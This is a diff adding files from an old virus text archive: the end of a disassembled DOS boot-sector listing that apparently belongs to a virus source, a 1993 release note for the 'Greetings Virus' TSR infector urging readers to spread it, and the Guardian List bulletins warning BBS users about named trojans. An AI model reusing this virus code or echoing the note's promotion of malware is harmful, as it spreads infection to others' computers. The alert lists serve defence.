02AH,0FFH,050H,0F6H + DB 000H,002H, + +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + INT 19H ;REBOOT + ; +L08FA: CLI ;08FA FA + XOR AX,AX ;08FB 33C0 + MOV ES,AX ;08FD 8EC0 + MOV SS,AX ;08FF 8ED0 + MOV SP,7C00 ;0901 BC007C + MOV DS,AX ;0904 8ED8 + MOV BX,07C0 ;0906 BBC007 + MOV Word Ptr [0078],002F ;0909 C70678002F00 + MOV [007A],BX ;090F 891E7A00 + MOV DS,BX ;0913 8EDB + MOV DX,[001E] ;0915 8B161E00 + MOV [0020],DL ;0919 88162000 + INT 13 ;GO TO DISK + JNB ;0924 ;091F 7303 + JMP ;09FC ;0921 E9D800 + MOV SI,000B ;0924 BE0B00 + MOV CX,[SI] ;0927 8B0C + SHR CH,1 ;0929 D0ED + XCHG CH,CL ;092B 86E9 + MOV [002B],CX ;092D 890E2B00 + MOV AL,[SI+05] ;0931 8A4405 + XOR AH,AH ;0934 32E4 + MUL Word Ptr [SI+0B] ;0936 F7640B + ADD AX,[SI+03] ;0939 034403 + ADD AX,[SI+11] ;093C 034411 + MOV [0024],AX ;093F A32400 + MOV BX,7E00 ;0942 BB007E + CALL 0A24 ;0945 E8DC00 + MOV BX,ES ;0948 8CC3 + MOV AX,0070 ;094A B87000 + MOV ES,AX ;094D 8EC0 + MOV AX,0020 ;094F B82000 + MUL Word Ptr [SI+06] ;0952 F76406 + MOV CX,[SI] ;0955 8B0C + ADD AX,CX ;0957 03C1 + DEC AX ;0959 48 + DIV CX ;095A F7F1 + ADD [0024],AX ;095C 01062400 + MOV CL,[002A] ;0960 8A0E2A00 + MOV AX,[0024] ;0964 A12400 + CALL ;0971 ;0967 E80700 + PUSH ES ;096A 06 + POP DS ;096B 1F + JMP 0070:0000 ;096C EA00007000 + ; +;HEAVY NUMBER CRUNCHING HERE ; + PUSH BX ;0971 53 + PUSH AX ;0972 50 + MOV AL,CL ;0973 8AC1 + MUL Byte Ptr [002B] ;0975 F6262B00 + MOV [0029],AL ;0979 A22900 + POP AX ;097C 58 + MUL Word Ptr [002B] ;097D F7262B00 + DIV Word Ptr [SI+0D] ;0981 F7740D + INC DL ;0984 FEC2 + MOV [0028],DL ;0986 88162800 + PUSH DX ;098A 52 + XOR DX,DX ;098B 33D2 + DIV Word Ptr [SI+0F] ;098D F7740F + MOV [0021],DL ;0990 88162100 + MOV [0026],AX ;0994 A32600 + POP DX ;0997 5A + MOV CL,[0029] ;0998 8A0E2900 + ADD DL,CL ;099C 02D1 + MOV AX,[SI+0D] ;099E 8B440D + INC AX ;09A1 40 + CMP DL,AL ;09A2 3AD0 + JBE ;09AC ;09A4 7606 + SUB AL,[0028] ;09A6 2A062800 + MOV CL,AL ;09AA 8AC8 + MOV AL,CL ;09AC 8AC1 + MOV DX,[0026] ;09AE 8B162600 + MOV CL,06 ;09B2 B106 + SHL DH,CL ;09B4 D2E6 + OR DH,[0028] ;09B6 0A362800 + MOV CX,DX ;09BA 8BCA + XCHG CH,CL ;09BC 86E9 + MOV DX,[0020] ;09BE 8B162000 + MOV AH,02 ;READ SECTOR + PUSH AX ; + INT 13 ; + POP AX ;09C7 58 + JB ;09FC ;09C8 7232 + SUB [0029],AL ;09CA 28062900 + JBE ;09F5 ;09CE 7625 + CBW ;09D0 98 + MUL Word Ptr [002D] ;09D1 F7262D00 + ADD BX,AX ;09D5 03D8 + INC Byte Ptr [0021] ;09D7 FE062100 + MOV DL,[0021] ;09DB 8A162100 + CMP DL,[SI+0F] ;09DF 3A540F + MOV DL,01 ;09E2 B201 + MOV [0028],DL ;09E4 88162800 + JB ;0998 ;09E8 72AE + MOV Byte Ptr [0021],00 ;09EA C606210000 + INC Word Ptr [0026] ;09EF FF062600 + JMP ;0998 ;09F3 EBA3 + POP BX ;09F5 5B + RET ;09F6 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + MOV SI,01B3 ;09F7 BEB301 + JMP ;09FF ;09FA EB03 + MOV SI,01C5 ;09FC BEC501 + CALL L0A15 ;09FF E81300 + MOV SI,01D4 ;0A02 BED401 + CALL L0A15 ;0A05 E80D00 + MOV AH,00 ;0A08 B400 + INT 16 ;0A0A CD16 + MOV AH,01 ;0A0C B401 + INT 16 ;0A0E CD16 + JNZ 0A0C ;0A10 75FA + JMP ;08F8 ;0A12 E9E3FE + ; +L0A15: LODSB ;L0A15 + OR AL,AL ;0A16 0AC0 + JZ 0A23 ;0A18 7409 + MOV AH,0E ;0A1A B40E + MOV BX,0007 ;0A1C BB0700 + INT 10 ;0A1F CD10 + JMP L0A15 ;0A21 EBF2 + RET ;0A23 C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; + + MOV CL,01 ;0A24 B101 + CALL ;0971 ;0A26 E848FF + PUSH SI ;0A29 56 + MOV DI,BX ;0A2A 8BFB + MOV AX,ES:[BX+1C] ;0A2C 268B471C + XOR DX,DX ;0A30 33D2 + DIV Word Ptr [SI] ;0A32 F734 + INC AL ;0A34 FEC0 + MOV [002A],AL ;0A36 A22A00 + MOV SI,019D ;0A39 BE9D01 + MOV CX,000B ;0A3C B90B00 + REPZ ;0A3F F3 + CMPSB ;0A40 A6 + JNZ ;09F7 ;0A41 75B4 + MOV AX,ES:[BX+3A] ;0A43 268B473A + MOV [0022],AX ;0A47 A32200 + MOV DI,BX ;0A4A 8BFB + ADD DI,+20 ;0A4C 83C720 + MOV SI,01A8 ;0A4F BEA801 + MOV CX,000B ;0A52 B90B00 + REPZ ;0A55 F3 + CMPSB ;0A56 A6 + JNZ ;09F7 ;0A57 759E + POP SI ;0A59 5E + RET ;0A5A C3 + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +CODE ENDS ; + END ; + \ No newline at end of file diff --git a/textfiles.com/virus/greetng1.txt b/textfiles.com/virus/greetng1.txt new file mode 100644 index 00000000..c4d94045 --- /dev/null +++ b/textfiles.com/virus/greetng1.txt @@ -0,0 +1,43 @@ + 複複� 複複複� 複� +複複複複複 蔔栢栢栢栢� � 複幡� 栢栢栢 蔔栢� + 賞栢白 蔔栢� 賞栢 栢� 蔔幡 栢栢栢 栢栢 + 賞栢白 蔔栢� 賞 栢栢 栢� 栢栢栢� 栢栢� + 賞栢白栢幡 � 栢栢栢 栢 栢栢栢� 栢栢栢 + 栢栢栢� � 栢栢栢� 栢� 栢栢栢栢栢栢栢� + 査栢栢 幡 栢栢栢 栢 栢幡栢栢栢賞栢栢 + 栢栢� 蔔� 栢栢� 賞� 蔔幡 栢栢栢 栢栢栢 + 栢栢� 複複複栢 栢栢� 賽� 栢� 栢栢 賞栢栢� + 栢栢� 賽� 複栢賞複複蔔栢白 蔔 栢� 栢� 賞栢栢� + 栢栢� 複栢� 賽栢栢栢白 賞� 蔔幡 賞栢栢白 + 蔔栢栢栢� 複複栢� 賞栢栢白 賞白複複栢幡 賞栢栢栢 + 蔔栢栢� 賞栢栢白 賞栢栢栢� 賽栢幡 + 賞栢栢� 賽賽 + 賞栢栢白 + +靈컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +� �/� A Youngsters Against McAfee Production �\� � +聃컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +靈컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +� DISCLAIMER : By unzipping this file you hearby agree that YAM is not � +� responsible for any damage that it does to your computer or anybody's � +� else's computer. We are also not responsible for what you or anyone else � +� does with the files included, be it running it on someone else's computer � +� or by running it on your own computer. (If your dumb enough too) � +聃컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +靈컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +� �/� Executable Information �\� � +픔컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +� Virus / Trojan Name : The Greetings Virus � +� Author / Modification By : Admiral Bailey � +� Language Used : Assembly Language [TASM 2.0] � +� Type of Virus / Trojan : Encrypted TSR com/exe infector. � +� Date Of Release : 1-2-93 � +픔컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +� Some Notes: � +� This here is a TSR com/exe infector. Between certain times it will � +� display a bouncing ball. Both on graphics (which it will ruin) and in text.� +� When you reboot during a certain time it shall display a certain messege. � +� Well just enjoy and spread this. As of scan 99 its unscannable. If you � +� have any comments you can reach me on the YAM WHQ. The Full Moon. [416] � +聃컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + diff --git a/textfiles.com/virus/guardian.bbs b/textfiles.com/virus/guardian.bbs new file mode 100644 index 00000000..7f03fb8e --- /dev/null +++ b/textfiles.com/virus/guardian.bbs @@ -0,0 +1,530 @@ + ---------------------------------------------------------------- + | THE GUARDIAN LIST | + | | + | -- An Abbreviated Trojan Alert List | + | to be used as a BULLETIN on BBS's | + ---------------------------------------------------------------- + | Issue #01: November 12, 1989| + | By Tom Sirianni, | + | and Those Sysops of FidoNet & LCRNET Revision Stage `C'| + ---------------------------------------------------------------- + +NAME CATEGORY NOTES +-------------- -------- --------------------------------------- + +3X3SHR *TROJAN Time Bomb type trojan wipes the [Hard] + Drive clean. File size is 78,848. + +ANTI-PCB *TROJAN The story behind this trojan horse is + sickening. Apparently one RBBS-PC + sysop and one PC-BOARD sysop started + feuding about which BBS system was + better, and in the end the PC-BOARD + sysop wrote a trojan and uploaded it to + the rbbs SysOp under ANTI-PCB.COM. Of + course the RBBS-PC SysOp ran it, and + that led to quite a few accusations and + a big mess in general. Let's grow up! + Every SysOp has the right to run the + type of BBS they please, and the fact + that a SysOp actually wrote a trojan + ntended for another sysop simply + blows my mind. + +ARC2ZIP.EXE VIRUS This Lehigh Virus strain that attacks + the COMMAND.COM and is used in + converting ARCed files to ZIPed files. + This file also copies itself into the + ZIPed file while remaining a TSR within + COMMAND.COM. Also it is always looking + for COMMAND.COM on a FLOPPY diskette, so + it has two ways to infect. + +ARC513.EXE *TROJAN This hacked version of ARC appears + normal, so beware! It will write over + track 0 of your [hard] disk upon usage, + destroying the disk. + +ARC514.COM *TROJAN This is very similar to ARC version + 5.13 in that it will overwrite track 0 + (FAT Table) of your [Hard] disk. Also, I + have yet to see an .EXE version of this + program. + +ARC533.EXE VIRUS This is a new Virus program designed to + emulate Sea's ARC program. It infects + OMMAND.COM. Lehigh Virus Type. + +BACKTALK *TROJAN This program used to be a good PD + utility, but someone changed it to be + trojan. Now this program will write/ + destroy sectors on your [hard] disk + drive. Use this with caution if you + acquire it, because it's more than + likely that you got a bad copy. + +B30012A.ARC *TROJAN Was supposed to be a Quick BBS utilty + to handle 300 baud Users. But what it + really does is delete many of the + general directories used by a Quick + BBS system. + +CDIR.COM *TROJAN This program is supposed to give you a + color directory of files on your disk, + but it in fact will scramble your disk's + File Allocation Table (FAT). + +D-XREF60.COM TROJAN A Pascal Utility used for Cross- + Referencing, written by the infamous + Dorn Stickel. It eats the FAT and + BOOT sector after a time period has + been met and if the [Hard] Drive is more + than half full. + +DANCERS.BAS *TROJAN This trojan shows some animated dancers + in color, and then proceeds to wipe out + your [hard] disk's FAT table. There is + another perfectly good copy of DANCERS. + BAS on BBS's around the country; appar- + ently the idiot trojan author altered a + legitimate program to do the dirty work. + +DISKSCAN.EXE TROJAN This was a PC-MAGAZINE program to scan + a [hard] disk for bad sectors, but then + a joker edited it to WRITE bad sectors + Also look for this under other names + such as SCANBAD.EXE and BADDISK.EXE. A + good original copy is availble on SCP + Business BBS. + +DMASTER *TROJAN This is yet another FAT scrambler. + +DOSKNOWS.EXE *TROJAN I'm still tracking this one down -- + apparently someone wrote a FAT killer + and renamed it DOSKNOWS.EXE, so it + would be confused with the real, + harmless DOSKNOWS system-status + utility. All I know for sure is that + the REAL DOSKNOWS.EXE is 5376 bytes + long. If you see something called + DOSKNOWS that isn't close to that size, + sound the alarm. + +DOS-HELP TROJAN This trojan, when made memory-resident, + is supposed to display a DOS command + that the User needs help with. Works fine + on a Diskette system, but on a [Hard] + DRIVE system, it tries to format the + [Hard] Disk with every access of + DOS-HELP. + +DPROTECT *TROJAN Apparently someone tampered with the + original, legitimate version of + DPROTECT and turned it into a FAT + eater. A good version is available + on SCP Business BBS. + +DRAIN2 *TROJAN There really is a DRAIN program, but + this revised program goes out does a Low + Level Format while it is playing the + funny program. + +DROID.EXE *TROJAN This trojan appears under the guise of + a game. You are supposedly an architect + who controls futuristic droids in search + of relics. In fact, PC-Board sysops (if + they run this program from C:\PCBOARD) + will find that it copies C:\PCBOARD\ + PCBOARD.DAT to C:\PCBOARD\HELP\HLPX. The + .EXE file is 54,272 bytes. + +DRPTR.ARC TROJAN File found on two boards in the 343 + Net. After running unsuspected file, + the only things left in the Sysop's + root directory were the subdirectories + and two of the three DOS System files, + along with a 0-byte file named + WIPEOUT.YUK. The Sysop's COMMAND.COM + was located in a different directory; + the file date and CRC had not changed. + +DSZ (Patch) *CAREFUL The author of this protocol program, + Chuck Forsberg, warns that anyone using + an Unregistered version of DSZ that was + HACKED with a downloaded PATCH to make + it work fully, might get a SCRAMBLED FAT. + Seems someone created the HACK PATCH and + then uploaded it to BBS's. *BEWARE* of + the PATCH! It is not the DSZ program that + does the dirty work, but the invalid PATCH. + +EGABTR *TROJAN BEWARE! Description says something like + "improve your EGA display," but when + run, it deletes everything in sight and + prints, "Arf! Arf! Got you!" + +EMMCACHE *CAREFUL This program is not exactly a trojan, + but it (v. 1.0) may have the capability + of destroying [Hard] disks by: + A) Scrambling every file modified after + running the program. + B) Destroying boot sectors. + This program has damaged at least two + [Hard] disks; yet there is a base of + happily registered users. Therefore, + extreme caution is advised if you decide + to use this program. + +FILER.EXE *TROJAN One SysOp complained a while ago that + this program wiped out his 20 Megabyte + [Hard] disk. I'm not so sure that he was + correct and/or telling the truth any + more. I have personally tested an + excellent file manager also named + FILER.EXE, and it worked perfectly. + Also, many other SysOp's have written + to tell me that they have like me used + a FILER.EXE with no problems. If you + get a program named FILER.EXE, it is + probably alright, but better to test it + first using some security measures. + +FILES.GBS CAREFUL When an OPUS BBS system is installed + improperly, this file could spell + disaster for the Sysop. It can let a + user of any level into the system. + Protect yourself. Best to have a + sub-directory in each upload area + called c:\upload\files.gbs (this is an + example only). This would force Opus to + rename a file upload of files.gbs and + prevent its usage. + +FINANCE4.ARC *CAREFUL This program is not a verified trojan; + there is simply a file going around + BBS's warning that it may be a trojan. + In any case, exercise extreme care with + it. + +FLU4TXT.COM TROJAN Man, when I thought we had it licked! + This Trojan was inserted into the + FluShot4.ARC and uploaded to many + BBS's. FluShot is a protector of your + COMMAND.COM. The author of FluShot + posted this Trojan warning, and I am + posting it here in the GL. If you need + a good copy, you can get it from here-- + SCP Business BBS--or on COMPUSERVE. + +FOX2.ARC TROJAN The show program was put into the FOX +(SHOW.COM) archive to display a porono on VGA. + While doing so it corrupts the FAT of + the HD. Even NU can not recover it. A + FAT recover program like MIRROR has + not yet been tested for it. + Name Size Date + Show.com 14562 06/02/85 + +FUTURE.BAS *TROJAN This "program" starts out with a very + nice color picture (of what, I don't + know) and then proceeds to tell you + that you should be using your computer + for better things than games and + graphics. After making that point, it + trashes your A: drive, and B:, C:, D: + drives until it has erased all drives. + It does not go after the FAT alone; it + also erases all of your data. As far + as I know, however, it erases only one + sub-directory tree level deep, thus + [Hard] disk users should only be + seriously affected if they are in the + "root" directory. I'm not sure about + this one either, though. + +GATEWAY2 *TROJAN Someone tampered with version 2.0 of + the CTTY monitor GATEWAY. What it + does is ruin the FAT. If you need a + good copy, you can file-request it or + pick one up from 105/301--SCP Business + BBS. + +GRABBER TROJAN This program is supposed to be a SCREEN + CAPTURE program that copies the screen + to a .COM to be run later from the DOS + command line. As a TSR, it will also + attempt to do a DISK WRITE to the [Hard] + drive when you do not want it to. It + will wipe whole Directories when doing + a normal DOS command. One sysop who + ran it lost all of his ROOT directory + including his SYSTEM files. The file + status is : + Name Size Date Time + GRABBER.COM 2583 05/28/87 22:10 + +GRASPRT.EXE VIRUS This file was in a porno file called + SEXSHOE.LZH originating from PC-EXEC + BBS. The Sysop took it off, but it had + been downloaded by a few people. This is + one of the Jerusalem-B Virus strains. + The status is: + Name Size Date Time + GRASPRT.EXE 73376 06/03/86 09:49 + +G-MAN TROJAN Another FAT killer. + +HEART.EXE VIRUS Infected with the Israeli Virus. + Displays the HEART logo on CGA monitor + while infecting the HD. File is found + on some SHAREWARE houses watch for it. + Name Size Date + HEART.EXE 13744 ????? + +JIV40.LZH VIRUS Hacked propgram of JIV - current real + program is v3.3 NOT v4.0 - It is also + infected by a Virus which attaches to + any .COM file it can find. + +KC-PAL.COM TROJAN Infects the COMMAND.COM and then attaches + to any .COM file afterward using the + COMMAND.COM during its use of Internal + commands (COPY, DIR, TYPE, etc.). The + COMMAND.COM files are enlarged in size + by 1538 bytes, and in the Time column + of the directory, listing the seconds + is reset from :00 to :62. + +LM TROJAN Deletes the COMMAND.COM and other + files from the ROOT directory of the + [Hard] Drive when the program runs. + +MAP TROJAN This is another trojan horse written by + the infamous Dorn Stickel. Designed + to display what TSR's are in memory and + works on FAT and BOOT sectors. Also + seems towork only when the [Hard] Drive + is 50 percent full or more. + +MATHKIDS.ARC *TROJAN This is a fairly benign trojan that + will not reformat your [Hard] disks or + do any system-level damage. Instead, + it is designed to crack a BBS system. It + will attempt to copy the USER file on + a BBS to a file innocently called + FIXIT.ARC, which the originator can + later call in and download. Believed + to be designed for PCBoard BBS's. + +MOUSEKEY.COM VIRUS Mouse device program infected with the + CASCADE type virus. + +NORTSHOT.ZIP TROJAN A supposed VIRUS checker - while +NORTSTOP.ZIP listing the DIR during its check + displays that the disk is Virus Free - + but during Dec. 24th and Dec. 31st it + will ERASE files in several DIR's + based on their extension. NORTSHOT.ZIP + and NORTSTOP.ZIP are same file. + Name Size Date + NORTSTOP.EXE 38907 ????? + +NOTROJ.COM *TROJAN This "program" is the most sophisti- + cated trojan horse that I've seen to + date. All outward appearances indicate + that the program is a useful utility + used to FIGHT other trojan horses. + Actually, it is a time bomb that erases + any [Hard] disk FAT IT can find and, + at the same time, it warns: "another + program is attempting a format, can't + abort! After erasing the FAT(s), + NOTROJ then proceeds to start a low + level format. One extra thing to note: + NOTROJ only damages FULL [Hard] drives; + if a [Hard] disk is under 50 percent + full, this program won't touch it! + If you are interested in reading a + thorough report on NOTROJ.COM, James H. + Coombes has written an excellent text + file on the matter named NOTROJ.TXT. + If you have trouble finding it, you + can get it from SCP Business BBS. + +PACKDIR *TROJAN This utility is supposed to "pack" + (sort and optimize) the files on a + [hard] disk, but apparently it + scrambles FATs. + +PCW271xx.ARC *TROJAN A modified version of the popular + PC-WRITE word processor (v. 2.71) has + now scrambled at least 10 FAT tables + that I know of. If you want to + download version 2.71 of PC-WRITE, be + very careful! The bogus version can be + identified by its size; it uses 98,274 + bytes whereas the good version uses + 98,644. For reference, version 2.7 of + PC-WRITE occupies 98,242 bytes. + +PKX35B35.ARC } *TROJAN This was supposed to be an update to +PKB35B35.ARC } *VIRUS PKARC file compress utility. When it is + run, it *EATS your FATS* and is said to + to infect other files so it can spread. + Possible VIRUS. + +PKPAK/PKUNPAK *CAREFUL There is a TAMPERED version of 3.61 + v3.61 that interferes with PC's interrupts. + +PKFIX361.EXE *TROJAN Supposed patch to v3.61. What it really + does when it is extracted from the .EXE + file is do DIRECT access to the DRIVE + CONTROLLER to perform a Low-Level format, + thereby bypassing checking programs. + +PK362.EXE *CAREFUL This is a NON-RELEASED version and is + suspected as being a *TROJAN*. Not + verified. + +PK363.EXE *CAREFUL This is a NON-RELEASED version and is + suspected as being a *TROJAN*. Not + verified. + +PKZ100.EXE TROJAN Supposed to be a new release of PKZIP, + but what it really does is fill up + your [Hard] drive with many directories + until the system no longer functions. + The current version is PKZIP v.092. + +PKZ120.EXE TROJAN Modeifies the AREAS.BBS of BBS's that + use such a file. Replaces addreses in + that file with dummy addreses. then + deletest itself to avoid any way to + desipher how it works. + Name Size Date + PKZ120.EXE 172,000approx. 09/13/89 + +QUIKRBBS.COM *TROJAN This Trojan horse advertises that it + will install a program to protect your + RBBS but it does not. It goes and eats + away at the FAT instead. + +QUIKREF *TROJAN This ARChive contains ARC513.COM. + It is supposed to load RBBS-PC's message + file into memory two times faster than + normal. What it really does is copy the + RBBS-PC.DEF into an ASCII file named + HISCORES.DAT. + +RCKVIDEO *TROJAN This is another trojan that does what + it's supposed to do, and then wipes out + [Hard] disks. After showing some simple + animation of a rock star ("Madonna," I + think), the program will go to work on + erasing every file it can lay it's + hands on. After about a minute of this, + it will create three ASCII files that + say, "You are stupid to download a + video about rock stars," or something + of the like. + +SECRET.BAS *TROJAN BEWARE!! This may be posted with a note + saying it doesn't seem to work, and + would someone please try it; when you + do, it formats your disks. + +SIDEWAYS.COM *TROJAN Be careful with this trojan; there is a + perfectly legitimate version of + SIDEWAYS.EXE circulating. Both the + trojan and the good SIDEWAYS advertise + that they can print sideways, but + SIDEWAYS.COM will trash a [hard] disk's + boot sector instead. The trojan .COM + file is about 3 KB, whereas the + legitimate .EXE file is about 30 KB + large. + +STAR.EXE *TROJAN Beware RBBS-PC SysOps! This file puts + some stars on the screen while copying + RBBS-PC.DEF to another name that can be + downloaded later! + +STRIPES.EXE *TROJAN Similar to STAR.EXE, this one draws an + American flag (nice touch), while it's + busy copying your RBBS-PC.DEF to + another file (STRIPES.BQS) so the joker + can log in later, download STRIPES.BQS, + and steal all your passwords. Nice, huh? + +SUG.COM TROJAN This one is supposed to go out and + unprotect copy protected programs disks + by Softguard Systems, Inc. After it + trashes your disk, it comes back and + displays: + "This destruction constitutes a prima + facie evidence of your violation. If + you attempt to challenge Softguard + Systems Inc..., you will be vigorously + counter-sued for copyright infringement + and theft of services." + AND it by-passes any attempt by CHK4BOMB + to search for the any hidden messages + that tell you, "YOU BEEN HAD... or + GOTCHA>>> Ar..Ar..Ar... It encrypts the + Gotcha message so no Trojan checker can + scan for it. + +TIRED *TROJAN Another scramble-the-FAT trojan by Dorn + W. Stickel. + +TOPDOS *TROJAN This is a simple high level [hard] disk + formatter. + +TSRMAP *TROJAN This program does what it's supposed to + do: give a map outlining the location + (in RAM) of all TSR programs, but it + also erases the boot sector of drive + "C:". + +ULTIMATE.EXE TROJAN Another FAT eater. File status: + Name Size + ULTIMATE.EXE 3090 + ULTIMATE.ARC 2432 + +UNIX VIRUS The UNIX operating system by Berkley, + verson 4.3, is an INTERNET virus. A + Patch is available on SCP Business + BBS. This is the MAIL PACKET VIRUS. + +VDIR.COM *TROJAN This is a disk killer that Jerry + Pournelle wrote about in BYTE Magazine. + I have never seen it, although a + responsible friend of mine has. + +VGA2CGA.ARC VIRUS CGA converter - infected with the + AIDS/Hahaha - has been found on many + USA West Coast BBS's. + +VU.EXE *VIRUS Infected with the 1704-B Virus. Has not + been confirmed. And is unkown what the + file is supposed to do. + +WOW *VIRUS Also known as the 1701 Virus. This + is a new strain of the Lehigh Virus + as it not only looks for COMMAND.COM, + but any .COM file. As it does it, the + infected file is enlarged 1,701 bytes + in SIZE. The infection takes as you + run the .COM. WOW is a TSR. What happens + when you run WOW is that it displays an + advertisement: + ""The Wizards of Warez" + in assocoation with + the copycats + the Pirates Unlimited + OUTRUN + WOW 1989 " + The virus is also known as WOWTITLE. + + + << END OF ABBREVIATED LIST>> diff --git a/textfiles.com/virus/guardian.vir b/textfiles.com/virus/guardian.vir new file mode 100644 index 00000000..d4e7a3e1 --- /dev/null +++ b/textfiles.com/virus/guardian.vir @@ -0,0 +1,1032 @@ + ---------------------------------------------------------------- + | THE GUARDIAN LIST | + | | + | -- An Uploaded Trojan/Virus Program Alert List. | + | This list is distributed thru FidoNet and | + | LCRNET. | + ---------------------------------------------------------------- + | Issue #1: Sept 25, 1989 | + | | + | Revision Stage 'B' | + | | + |Compiled by Sysops of FidoNet and LCRNET and other sources | + |Edited by Tom Sirianni of FidoNet 105/301 | + ---------------------------------------------------------------- + +Introductory Note: + +This Trojan Alert List is dedicated to the efforts of the End User +and the Sysop who have had very little support. Now, through The +Guardian List, those Users/Sysops stand a chance in the fight +against worms, trojans, and viruses, reporting the results to you, +the User. It is because of the efforts of many Sysops who have +spent countless hours to have a BBS online and because of the End +Users who love PD and ShareWare programs that this list is +presented and aggressively maintained. + +Although there are other lists available, the Guardian is the only +list that is constantly maintained and distributed through +FidoNet's SDS network, assuring its distribution internationally in +a matter of days. Much of what goes into The Guardian List comes +from the DIRTY_DOZEN echo conference. Within this conference are +Sysops and Users from around the world who help in the +determination of what are and are not trojans/virii. There are also +groups in Colleges abd Universities around the country +participating in the List's development and maintenance. + +What's in the future? As the SDNet/Works! (The Shareware +Distribution Network) takes affect, you will see fewer attacks on +Sysops as files are distributed through a controlled source, direct +from the Authors. Until this concept is fully mobilized, The +Guardian List will be here to help you, the Usesr and the Sysops, +including those Sysops not in FidoNet or LCRNET. + + Tom Sirianni + SCP Business BBS + FidoNet 105/301 + LCRNET 1010/0 + +SCP Business BBS, nor its Sysop or Editor, assumes any +responsibility for the validity or completeness of this list. Many +sources contribute to the list, and it is very possible that one of +the reported files works perfectly and is in the Public Domain. + +But all the same, it is quite possible that a mistake will slip in +somewhere. Since this is the case, please keep in mind while +reading this list that, however unlikely, it is possible that I am +(or my sources are) incorrect in any accusation. + + +Note: ** Some TROJANS are designed to work only on [Hard] Drives ** + + +HELP FROM USERS REQUESTED: + +Users upload bad software to hundreds of boards every day, and +often times, the software is not yet in this list, or the file may +have been corrupted due to a bad ARCHIVE. However, if you run a +trojan horse program that is not listed here, please don't send it +to SCP Business BBS. Instead, give me a call (SCP Business BBS +phone 1-503-648-6687 9600-v42/2400/1200/300 baud supported) and +leave me a message about the program (with a complete filename and +any other information you may have) so that I can get the +destructive program in the next issue. It is important to verify +that the program is a TROJAN and not an OPERATOR error. If anyone +is unsure whether or not a file is a Trojan, and it's not listed in +the GL, I recommend using a utility like BOMBSQAD.COM or +CHK4BOMB.EXE to prevent any mishaps. For VIRUSES, use VirusScan or +FlusShot+. After your call, I may want you to upload it just to +verify it myself if you are unable to. + + +A WORD FROM TOM SIRIANNI: TYPE OF TROJAN -- THE VIRUS... + +A Virus is a trojan which attaches itself to certain files and at +predetermined time attacks your FAT, DIR, and/or BOOT areas, CROSS- +LINKing files and looking for ways to attach itself to diskettes and +other disks containing files such as IBMDOS, IBMBIO, COMMAND.COM, +etc. This type of virus spreads its dirty work to other systems much +like the flu or a cold, relying on the user to spread the VIRUS. +Protection (to a limited degree) from these virus strains is avail- +able with ShareWare programs SENTRY, SCAN (VirusScan), and FSP +(FluShot Plus), which are all available on the SCP Business BBS, +105/301 FidoNet, 1-503-648-6687 (PC-Pursuit ORPOR), or through SDS +nodes within FidoNet (note that SDS and SDN are two separate +enities). + +The best program, called SCAN, better know as VirusScan, can check +any physical or logical drive or diskette for any file infected by +a Virus. It will tell what type of Virus and where it is located. + + +WHAT TO DO IF YOU THINK YOU ARE INFECTED WITH A TROJAN/VIRUS + +There are three ways to tell if you are infected: + +1) First, have a GOOD DOS diskette with COMMAND.COM on it, PLUS +put a WRITE-PROTECT TAB on your DOS disk. Then, from your system, +do a DIR on the good DOS diskette. If you get a WRITE-ERROR, you +are infected -- DIR does not do any writing of any kind, whereas +the VIRUS does. + +2) Another way is to check and compare the time-date stamp of +COMMAND.COM. The Virus writes to the COMMAND.COM thereby changing +the time-date stamp. + +3) Use SCAN to tell if you are infected and it will tell you +what type. + + +The psychologically unbalanced individuals writing and uploading +these programs will change their viral methods, so beware. Many +new viral detection programs are in the works, both commercially +and in the public domain, to keep up with the viral programs we +have available, to confirmed SYSOPS, Virus/Trojan information +texts on SCP Business BBS. The Virus text files are ZIPed and can +be File-Requested thru FidoNet BBS's as VIRUS-1.ARC & VIRUS-2.ARC. + + +Simple precautions: + +The thing to do is to check the contents of your downloads via the +verbose command of the type of archiving program used, making sure +ANSI.SYS is disbaled first. DO NOT DOWNLOAD any files without any +available or known documentation unless you are assured it is safe +by the SYSOP. Also, do not accept any ARCHIVE or diskette +containing a file named COMMAND.COM. Use VirusScan!!! + +Remember -- these new TROJANS are no laughing matter. Without +causing mass hysteria, use your best judgment, and check your +procedures first! + +Final note: There is a commercial program called C-4 by +InterPath Corp. which will (to date) detect and contain ALL known +PC-VIRUSES. So for the ultimate 100 percent protection, get C-4. + + C-4 by InterPath Corp. + 4423 Cheeney St. + Santa Clara, Calif. + 95054 + 1-408-988-3832 + was $40.00 + + ---------------------- + + +A word on TROJANS - + +In the course of time trojans/viruses have gained MEDIA attention. +Unfortunately, RUMORS have always played a major factor in its +notoriety. The truth is, of all those reported are minimal compared +to the vast amounts of programs out there in the BBS community. +Some are designed to defame people or companies. As an example, +Dorn Stickel has been noted to be a supposed Author of several +TROJANS. But in real life, he is not that person. So, until +verified, do not think it is real and, at the same time, do not +ignore the existence either. Be cautious with all types of file +transfers and all types of media used. + + +ANSI TEXT FILES/DOC FILES: + +Did you know a TROJAN can be used in DOC and TEXT files? If your +system is configured for ANSI.SYS in your CONFIG.SYS file, your +keyboard could be redirected or the keys reconfigured. + +For example, you could hit the F1 key and the 